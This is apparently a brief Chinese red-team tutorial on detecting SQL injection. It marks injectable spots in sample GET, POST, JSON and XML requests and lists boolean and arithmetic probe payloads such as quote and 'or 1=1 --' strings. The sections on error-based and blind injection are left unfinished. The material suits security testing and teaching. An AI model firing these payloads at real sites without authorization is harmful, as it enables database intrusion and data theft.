SQL注入检测 12 months ago red.ghostwolflab.com 2 minutes 最简单的SQL注入检测方法是在各种参数后添加特殊字符如’或”来获取Web服务器返回的数据库错误。 参数位置 常见的注入点将会使用*注明。GET:在GET请求时,URL参数、cookie值、主机标头以及任何自定义标头都可能触发注入。 GET /?id=homePage* HTTP/1.1 Host: red.ghostwolflab.com* Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 X-Server-Name: PROD* Cookie: user=snowwolf*; POST:在POST请求时,注入类似于GET请求中的URL参数,不过是在HTTP标头的下面。在上传文件时,自定义的文件名也是算是参数,可以尝试二次注入方法。 POST / HTTP/1.1 Host: red.ghostwolflab.com Content-Type: application/x-www-form-urlencoded Content-Length: 39 username=snowwolf*&email=admin@ghostwolflab.com* JSON:在JSON请求时,注入通常发生在JSON的{“key”:”value”}中。 POST / HTTP/1.1 Host: red.ghostwolflab.com Content-Type: application/json Content-Length: 56 { "username":"snowwolf*", "email":"admin@ghostwolflab.com*" } XML:在XML请求中时,注入通常发生在<xmlObject></xmlObject>中。 POST / HTTP/1.1 Host: red.ghostwolflab.com Content-Type: application/xml Content-Length: 79 <root> <username>snowwolf*</username> <email>admin@ghostwolflab.com*</email> </root> 检测注入 通过在Web应用程序中触发错误和布尔逻辑,可以最轻松地检测易受攻击的参数。提供格式错误的查询将触发数据库错误,而发送具有各种布尔逻辑语句的有效查询将触发 Web 服务器的不同响应。 描述 查询语句 逻辑 page.asp?id=1 or 1=1 -- true page.asp?id=1' or 1=1 -- true page.asp?id=1" or 1=1 -- true page.asp?id=1 and 1=2 -- false 算术 product.asp?id=1/1 -- true product.asp?id=1/0 -- false product.asp?id=1/abs(1) -- true product.asp?id=1/abf(1) -- false 报错注入 待定 盲注 待定